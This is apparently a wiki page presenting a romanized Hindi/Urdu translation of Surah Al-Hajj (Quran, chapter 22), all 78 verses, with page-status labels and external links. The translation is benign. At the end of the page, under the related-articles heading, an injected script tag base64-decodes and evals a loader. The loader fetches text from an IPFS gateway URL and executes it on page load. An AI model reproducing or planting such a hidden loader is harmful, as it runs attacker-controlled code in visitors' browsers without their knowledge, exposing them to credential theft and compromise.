अल-हज़

al-haz islam dharm ke pavitr granth quran ka 22vaan soora (adhyay) hai jisamean 78 ayat hoti haian.

22:1- ai logoan apane paravaradigar se darate raho (kyoanki) qayamat ka zalazala (koee mamooli nahian) ek b di (sakht) chiz hai.
22:2- jis din tum use dekh loge to har doodh pilane vali (dar ke mare) apane doodh pite (bachche) ko bhool jayegi aur sari hamala aurate apane-apane hamal (behisht se) gira degi aur (ghabarahat mean) log tujhe matavale maloom hoange halaanki vah matavale nahian haian balki khuda ka azab bahut sakht hai ki log badahavas ho rahe haian.
22:3- aur kuchh log aise bhi haian jo bagair jane khuda ke bare mean (khvah m khvah) jhag date haian aur har sarakash shaitan ke pichhe ho lete haian.
22:4- jin (ki peshani) ke oopar (khate taqadir se) likha ja chuka hai ki jisane usase dosti ki ho to ye yaqinan use gumarah karake chho dega aur dozakh ke azab tak pahuancha dega.
22:5- logoan agar tumako (marane ke bad) dobara ji uthane mean kisi tarah ka shak hai to isamean shak nahian ki hamane tumhean shuroo-shuroo mitti se usake bad nutphe se usake bad jame hue khoon se phir us loth de se jo poora (soodaul ho) ya adhoora ho paida kiya taki tum par (apani kudarat) zahir karean (phir tumhara dobara zinda) karana kya mushkil hai aur ham auratoan ke pet mean jis (nutphe) ko chahate haian ek muddat muayyan tak thahara rakhate haian phir tumako bachcha banakar nikalate haian phir (tumhean palate haian) taki tum apani javani ko pahuancho aur tumamean se kuchh log to aise haian jo (qabl budhape ke) mar jate haian aur tum mean se kuchh log aise haian jo nakara zindagi budhape tak pher lae haian jatean taki samajhane ke bad sathiya ke kuchh bhi (khak) n samajh sake aur to zamin ko murda (bekar ufatada) dekh raha hai phir jab ham us par pani barasa dete haian to lahalahane aur ubharane lagati hai aur har tarah ki khushanuma chizean ugati hai to ye qudarat ke tamashe isalie dikhate haian taki tum jano.
22:6- ki beshak khuda barahaq hai aur (ye bhi ki) beshak vahi murdoan ko jilata hai aur vah yaqinan har chiz par qadir hai.
22:7- aur qayamat yaqinan ane vali hai isamean koee shak nahian aur beshak jo log qabroan mean haian unako khuda dobara zinda karega.
22:8- aur logoan mean se kuchh aise bhi hai jo bejane boojhe be hidayat pae bagair raushan kitab ke (jo use rah batae) khuda ki ayatoan se muanh mode.
22:9- (khvahamakhvah) khuda ke bare mean l dane marane par taiyar hai taki (logoan ko) khuda ki rah bahaka de aise (nabakar) ke lie duniya mean (bhi) roosavaee hai aur qayamat ke din (bhi) ham use jahannum ke azab (ka maza) chakhaeange.
22:10- aur us vakt usase kaha jaega ki ye un amal ki saza hai jo tere hathoan ne pahale se kie haian aur beshak khuda bandoan par haragiz julm nahian karata.
22:11- aur logoan mean se kuchh aise bhi haian jo ek kinare par (kh de hokar) khuda ki ibadat karata hai to agar usako koee phayada pahuanch gaya to usaki vajah se mutameen ho gaya aur agar kahian us koee musibat chhoo bhi gayi to (phauran) muanh pher ke (kufr ki taraf) palat p da usane duniya aur akherat (donoan) ka ghata uthaya yahi to sarihi ghata hai.
22:12- khuda ko chho dakar un chizoan ko (hajat ke vakt) bulata hai jo n usako nuqasan hi pahuancha sakate haian aur n kuchh napha hi pahuancha sakate haian.
22:13- yahi to palle darane ki gumarahi hai aur usako apani hajat ravaee ke lie pukarata hai jis ka nuqasan usake naphe se jyada qarib hai beshak aisa malik bhi bura aur aisa raphiq bhi bura.
22:14- beshak jin logoan ne eeman kubool kiya aur achchhe achchhe kam kie unako (khuda behasht ke) un (hare-bhare) bagat mean le jakar dakhil karega jinake niche naharean jari hogian beshak khuda jo chahata hai karata hai.
22:15- jo shakhs (gusse mean) ye badagumani karata hai ki duniya aur akherat mean khuda usaki haragij madad n karega to use chahie ki asaman tak rassi tane (aur apane gale mean phaansi dal de) phir use kat de (taki ghut kar mar jae) phir dekhie ki jo chiz use gusse mean la rahi thi use usaki tadbir door dafa kar deti hai.
22:16- (ya nahian) aur hamane is quran ko yooan hi vajee v raushan nishaniyaan (banakar) nazil kiya aur beshak khuda jisaki chahata hai hidayat karata hai.
22:17- isamean shak nahian ki jin logoan ne eeman kubool kiya (musalaman) aur yahoodi aur lamazahab log aur eesaee aur majoosi (atishaparast) aur musharekin (kuphfar) yaqinan khuda un logoan ke daramiyan qayamat ke din (thik thik) faisala kar dega isamean shak nahian ki khuda har chiz ko dekh raha hai.
22:18- kya tumane isako bhi nahian dekha ki jo log asamanoan mean haian aur jo log zamin mean haian aur aphatab aur mahatab aur sitare aur paha d aur darakht aur charapae (garaz kul makhalooqat) aur adamiyoan mean se bahut se log sab khuda hi ko sajada karate haian aur bahutere aise bhi haian jin par nafaramani ki vajah se azab ka (ka ana) lazim ho chuka hai aur jisako khuda zalil kare phir usaka koee ijzat dene vala nahian kuchh shak nahian ki khuda jo chahata hai karata hai.
22:19- ye donoan (momin v kaphir) do phariq haian apas mean apane paravaradigar ke bare mean l date haian garaz jo log kafir ho baithe unake lie to ag ke kap de keta kie ge haian (vah unhean pahanae jaeangean aur) unake saroan par khaulata hua pani uandela jaega.
22:20- jis (ki garmi) se jo kuchh unake pet mean hai (aauantean vagairah) aur khalean sab gal jaeangi.
22:21- aur unake (marane ke) lie lohe ke gurz hoange.
22:22- ki jab sadamean ke mare chaheange ki dozakh se nikal bhagean to (gurj mar ke) phir usake andar dhakel die jaeange aur (unase kaha jaega ki) jalane vale azab ke maze chakho 22:23- jo log eeman lae aur unhoanne achchhe achchhe kam bhi kie unako khuda behasht ke aise hare-bhare bagoan mean dakhil pharamaega jinake niche nahare jari hogi unhean vahaan sone ke kangan aur moti (ke har) se sanvara jaega aur unaka libas vahaan reshami hoga.
22:24- aur (ye is vajah se ki duniya mean) unhean achchhi bat (kalamae tauhid) ki hidayat ki gee aur unhean sazavare hamd (khuda) ka rasta dikhaya gaya.
22:25- beshak jo log kaphir ho baithe aur khuda ki rah se aur masjidean mohataram (khane kaba) se jise hamane sab logoan ke lie (mabad) banaya hai (aur) isamean shahari aur berooni sabaka haq barabar hai (logoan ko) rokate haian (unako) aur jo shakhs isamean shararat se gumarahi kare usako ham dardanak azab ka maza chakha deange.
22:26- aur (ai rasool vah vakt yad karo) jab hamane ibarahim ke zariye se ibarahim ke vaste khane kaba ki jagah zahir kar di (aur unase kaha ki) mera kisi chiz ko sharik n banana aur mere ghar ko tavaph aur qayam aur rookoo sujood karane valoan ke vaste saph suthara rakhana.
22:27- aur logoan ko haj ki khabar kar do ki log tumhare pas (zook dar zook) jyada aur har tarah ki dubali (savariyoan par jo rah door daraz tay karake ayi hogi chadh-chadh ke) a pahuancheange.
22:28- taki apane (duniya v akherat ke) phayado par phayaz hoan aur khuda ne jo janavar charapae unhean ata faramae unapar (zibah ke vakt) chand muayyun dinoan mean khuda ka nam lean to tum log kurabani ke gosht khud bhi khao aur bhookhe mohataj ko bhi khilao.
22:29- phir logoan ko chahie ki apani-apani (badan ki) kasafat door karean aur apani nazarean poori karean aur qadim (ibadat) khane kaba ka tavaph karean yahi hukm hai.
22:30- aur isake alava jo shakhs khuda ki huramat vali chizoan ki tazim karega to ye usake pavaradigar ke yahaan usake haq mean behatar hai aur un janavaroan ke alava jo tumase bayan kie jaanege kul charapae tumhare vaste halal kie ge to tum napak butoan se bache raho aur lago batean gane vagairah se bache raho.
22:31- nire khare allah ke hokar (raho) usaka kisi ko sharik n banao aur jis shakhs ne (kisi ko) khuda ka sharik banaya to goya ki vah asaman se gir p da phir usako (ya to daramiyan hi se) koee (murada khvavar) chi diya uchak le gee ya use hava ke jhoanke ne bahut door ja pheanka.
22:32- ye (yad rakho) aur jis shakhs ne khuda ki nishaniyoan ki tazim ki to kuchh shak nahian ki ye bhi diloan ki parahezagari se hasil hoti hai.
22:33- aur in char payoan mean ek muayyun muddat tak tumhar liye bahut se phayadean haian phir unake zibah hone ki jagah qadim (ibadat) khane kaba hai.
22:34- aur hamane to har ummat ke vaste qurabani ka tariqa muqarrar kar diya hai taki jo maveshi charapae khuda ne unhean ata kie haian un par (zibah ke vakt) khuda ka nam le garaz tum logoan ka mabood (vahi) yakata khuda hai to usi ke pharamabaradar ban jao.
22:35- aur (ai rasool hamare) gi dagi dane vale bandoan ko (behasht ki) khushakhabari de do ye vah haian ki jab (unake samane) khuda ka nam liya jata hai to unake dil saham jate haian aur jab unapar koee musibat a p de to sabr karate haian aur namaz pabandi se ada karate haian aur jo kuchh hamane unhean de rakha hai usamean se (rahe khuda mean) kharch karate haian.
22:36- aur kurabani (mote gadabade) ooant bhi hamane tumhare vaste khuda ki nishaniyoan mean se qarar diya hai isamean tumhari bahut si bhalaeeyaan haian phir unaka taante ka taanta baandh kar zibah karo aur us vakt un par khuda ka nam lo phir jab unake dast v bajoo katakar gir p de to unhian se tum khud bhi khao aur kenaat pesha phaqiroan aur maangane vale mohatajoan (donoan) ko bhi khilao hamane yooan in janavaroan ko tumhara tabee kar diya taki tum shukraguzar bano.
22:37- khuda tak n to haragiz unake gosht hi pahuanchege aur n khoon magar (haan) us tak tumhari parahezagari alabatta pahuanchegi khuda ne janavaroan ko (isalie) yooan tumhare qaboo mean kar diya hai taki jis tarah khuda ne tumhean banaya hai usi tarah usaki b daee karo.
22:38- aur (ai rasool) neki karane valoan ko (hamesha ki) khushakhabari de do isamean shak nahian ki khuda eemanavaloan se kuphfar ko door dapha karata rahata hai khuda kisi badadayanat nashukre ko haragiz dost nahian rakhata.
22:39- jin (musalamanoan) se (kuphfar) l date the chooanki vah (bahut) satae ge us vajah se unhean bhi (jihad) ki ijazat de di gee aur khuda to un logoan ki madad par yaqinan qadir (vat vana) hai.
22:40- ye vah (mazaloom haian jo bechare) sirph itani bat kahane par ki hamara paravaradigar khuda hai (nahaq) apane-apane gharoan se nikal die gaye aur agar khuda logoan ko ek doosare se door dapha n karata rahata to giraje aur yahoodiyoan ke ibadat khane aur majoos ke ibadatakhane aur masjid jinamean kasarat se khuda ka nam liya jata hai kab ke kab dhaha die ge hote aur jo shakhs khuda ki madad karega khuda bhi alabatta usaki madad zaroor karega beshak khuda zaroor zabaradast galib hai.
22:41- ye vah log haian ki agar ham inhean rooe zamin par qaboo de de to bhi yah log pabandi se namaje ada kareange aur zakat deange aur achchhe-achchhe kam ka hukm kareange aur buri batoan se (logoan ko) rokeange aur (yooan to) sab kamoan ka anjam khuda hi ke ekhteyar mean hai.
22:42- aur (ai rasool) agar ye (kuphfar) tumako jhuthalate haian to koi tajjub ki bat nahian unase pahale nooh ki qaum aur (qaume ad aur samood).
22:43- aur ibarahim ki qaum aur loot ki qaum.
22:44- aur madiyan ke rahane vale (apane-apane paigambaroan ko) jhuthala chuke haian aur moosa (bhi) jhuthalae ja chuke haian to maianne kaphiroan ko chand dhil de di phir (akhir) unhean le dala to tumane dekha mera azab kaisa tha.
22:45- garaz kitani bastiyaan haian ki ham ne unhean barabad kar diya aur vah sarakash thian pas vah apani chhatoan par dhahi p di haian aur kitane bekar (ujade quean aur kitane) mazaboot b de-b de ooanche mahal (viran ho ge).
22:46- kya ye log rooe zamin par chale phire nahian taki unake lie aise dil hote haian jaise haq batoan ko samajhate ya unake aise kan hote jinake zarie se (sachchi batoan ko) sunate kyoanki aauankhean aandhi nahian hua karati balki dil jo sine mean hai vahi andhe ho jaya karate haian.
22|47- aur (ai rasool) tum se ye log azab ke jald ane ki tamanna rakhate haian aur khuda to haragiz apane vayade ke khilaph nahian karega aur beshak (qayamat ka) ek din tumhare paravaradigar ke nazadik tumhari ginati ke hisab se ek hazar baras ke barabar hai.
22:48- aur kitani bastiyaan haian ki maianne unhean (chand) mohalat di halaanki vah sarakash thi phir (akhir) maianne unhean le dala aur (sabako) meri taraph lautana hai.
22:49- (ai rasool) tum kah do ki logoan mean to sirph tumako khullam-khulla (azab se) darane vala hooan.
22:50- pas jin logoan ne eeman kubool kiya aur achchhe-achchhe kam kie (akhirat mean) unake lie bakhshish hai aur behisht ki bahut umda rozi.
22:51- aur jin logoan ne hamari ayatoan (ke jhuthalane mean hamare) ajiz karane ke vaste koshish ki yahi log to jahannumi haian.
22:52- aur (ai rasool) hamane to tumase pahale jab kabhi koee rasool aur nabi bheja to ye zaroor hua ki jis vakt usane (tabalige ehakam ki) arazoo ki to shaitan ne usaki arazoo mean (loangoan ko bahaka kar) khalal dal diya phir jo vas vasa shaitan dalata hai khuda use bet deta hai phir apane ehakam ko mazaboot karata hai aur khuda to b da vaqiphakar dana hai 22:53- aur shaitan jo (vasavasa) dalata (bhi) hai to isalie taki khuda use un logoan ke azamaish (ka zariya) qarar de jinake diloan mean (kuphr ka) marz hai aur jinake dil sakht haian aur beshak (ye) zalim musharekin palle daraje ki mukhalefat mean p de haian.
22:54- aur (isalie bhi) taki jin logoan ko (kutoobe samavi ka) ilm ata hua hai vah jan lean ki ye (vahi) beshak tumhare paravaradigar ki taraph se thik thik (nazil) hueehai phir (ye khyal karake) is par vah log eeman lae phir unake dil khuda ke samane ajizi karean aur isamean to shak hi nahian ki jin logoan ne eeman kubool kiya unaki khuda sidhi rah tak pahuancha deta hai.
22:55- aur jo log kaphir ho baithe vah to quran ki taraph se hamesha shak hi mean p de raheange yahaan tak ki qayamat yakayak unake sar par a maujood ho ya (yooan kaho ki) unapar ek sakht manahoos din ka azab nazil hua.
22|56- us din ki hukoomat to khas khuda hi ki hogi vah logoan (ke bahami ekhtelaph) ka faisala kar dega to jin logoan ne eeman kubool kiya aur achchhe kam kie haian vah neamatoan ke (bhare) hue bagat (behasht) mean raheange.
22:57- aur jin logoan ne kuphr ekhtiyar kiya aur hamari ayatoan ko jhuthalaya to yahi vah (kambakht) log haian.
22:58- jinake lie zalil karane vala azab hai jin logoan ne khuda ki rah mean apane des chhode phir shahid kie ge ya (ap apani maut se) mar ge khuda unhean (akhirat mean) zaroor umda rozi ata faramaega.
22:59- aur beshak tamam rozi dene valoan mean khuda hi sabase behatar hai vah unhean zaroor aisi jagah (behisht) pahuancha dega jisase vah nihal ho jaeange.
22:60- aur khuda to beshak b da vaqiphakar burdavar hai yahi (thik) hai aur jo shakhs (apane dushman ko) utana hi satae jitana ye usake hathoan se sataya gaya tha usake bad phir (dobara dushaman ki taraf se) us par jyadati ki jae to khuda us mazaloom ki zaroor madad karega.
22:61- beshak khuda b da maph karane vala bakhashane vala hai ye (madad) is vajah se di jaegi ki khuda (b da qadir hai vahi) to rat ko din mean dakhil karata hai aur din ko rat mean dakhil karata hai aur isamean bhi shak nahian ki khuda sab kuchh janata hai.
22:62- (aur) is vajah se (bhi) ki yaqinan khuda hi barahaq hai aur usake siva jinako log (vakte musibat) pukara karate haian (sabake sab) batil haian aur (ye bhi) yaqini (hai ki) khuda hi (sabase) buland martaba burjug hai.
22:63- are kya toone itana bhi nahian dekha ki khuda hi asaman se pani barasata hai to zamin sar sabz (v shadab) ho jati hai beshak khuda (bandoan ke hal par) b da meharaban vaqifakar hai.
22:64- jo kuchh asamanoan mean hai aur jo kuchh zamin mean hai (garaz sab kuchh) usi ka hai aur isamean to shak hi nahian ki khuda (sabase) beparavah (aur) sazavar hamd hai.
22:65- kya toone us par bhi nazar n dali ki jo kuchh rooe zamin mean hai sabako khuda hi ne tumhare qaboo mean kar diya hai aur kashti ko (bhi) jo usake hukm se dariya mean chalati hai aur vahi to asaman ko roke hue hai ki zamin par n gir p de magar (jab) usaka hukm hoga (to gir padega) isamean shak nahian ki khuda logoan par b da meharaban v rahamavala hai.
22:66- aur vahi to qadir muttaliq hai jisane tumako (pahali bar maan ke pet mean) zila uthaya phir vahi tumako mar dalega phir vahi tumako dobara zindagi dega.
22:67- isamean shak nahian ki insan b da hi nashukra hai (ai rasool) hamane har ummat ke vaste ek tariqa muqarrar kar diya ki vah is par chalate haian phir to unhean is din (islam) mean tum se jhag da n karana chahie aur tum (logoan ko) apane paravaradigar ki taraph bulae jao.
22:68- beshak tum sidhe raste par ho aur agar (is par bhi) log tumase jhag da karean to tuk kah do ki jo kuchh tum kar rahe ho khuda usase khoob vaqif hai.
22:69- jin batoan mean tum baham jhag da karate the qayamat ke din khuda tum logoan ke daramiyan (thik) faisala kar dega.
22:70- (ai rasool) kya tum nahian janate ki jo kuchh asaman aur zamin mean hai khuda yaqinan janata hai usamean to shak nahian ki ye sab (batean) kitab (lauhe mahaphooz) mean (likhi huee maujood) haian.
22:71- beshak ye (sab kuchh) khuda par asan hai aur ye log khuda ko chho dakar un logoan ki ibadat karate haian jinake lie n to khuda hi ne koee sanad nazil ki hai aur n us (ke haq hone) ka khud unhean ilm hai aur qayamat mean to zalimoan ka koee madadagar bhi nahian hoga.
22:72- aur (ai rasool) jab hamari vazee v raushan ayatean unake samane padh kar sunaee jati haian to tum (un) kaphiroan ke cheharoan par nakhushi ke (asar) dekhate ho (yahaan tak ki) qarib hota hai ki jo log unako hamari ayatean padhakar sunate haian un par ye log hamala kar baithe (ai rasool) tum kah do (ki) to kya maian tumhean isase bhi kahian badatar chiz bata dooan (achchha) to sun lo vah jahannum hai jisamean jhoankane ka vayada khuda ne kafiroan se kiya hai.
22:73- aur vah kya bura thikana hai logoan ek masal bayan ki jati hai to use kan laga ke suno ki khuda ko chho dakar jin logoan ko tum pukarate ho vah log agarache sab ke sab is kam ke lie ikatthe bhi ho jaean to bhi ek makkhi tak paida nahian kar sakate aur kahian makkhi kuchh unase chhin le jae to usase usako chhu da nahian sakate (ajab lutph hai) ki maangane vala (abid) aur jisase maang liya (mabood) donoan kamazor haian.
22:74- khuda ki jaise qadr karani chahie un logoan ne n ki isamean shak nahian ki khuda to b da zabaradast galib hai.
22:75- khuda pharishtoan mean se baz ko apane ehakam pahuanchane ke lie muntakhib kar leta hai.
22:76- aur (isi tarah) adamiyoan mean se bhi beshak khuda (sabaki) sunata dekhata hai jo kuchh unake samane hai aur jo kuchh unake pichhe (ho chuka hai) (khuda sab kuchh) janata hai.
22:77- aur tamam umoor ki roojoo khuda hi ki taraph hoti hai ai eemanavaloan rookoo karo aur sajade karo aur apane paravaradigar ki ibadat karo aur neki karo.
22:78- taki tum kamayab ho aur jo haq jihad karane ka hai khuda ki rah mean jihad karo usi nean tumako baraguzida kiya aur umoore din mean tum par kisi tarah ki sakhti nahian ki tumhare bap ibarahim ne majahab ko (tumhara mazahab bana diya usi (khuda) ne tumhara pahale hi se musalaman (pharamabaradar bande) nam rakha aur quran mean bhi (to jihad karo) taki rasool tumhare muqabale mean gavah bane aur tum pabandi se namaz padha karo aur zakat dete raho aur khuda hi (ke ehakam) ko mazaboot pak do vahi tumhara saraparast hai to kya achchha saraparast hai aur kya achchha madadagar hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• al-haz
• Surah Al-Hajj / সূরা হাজ্জ্ব

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>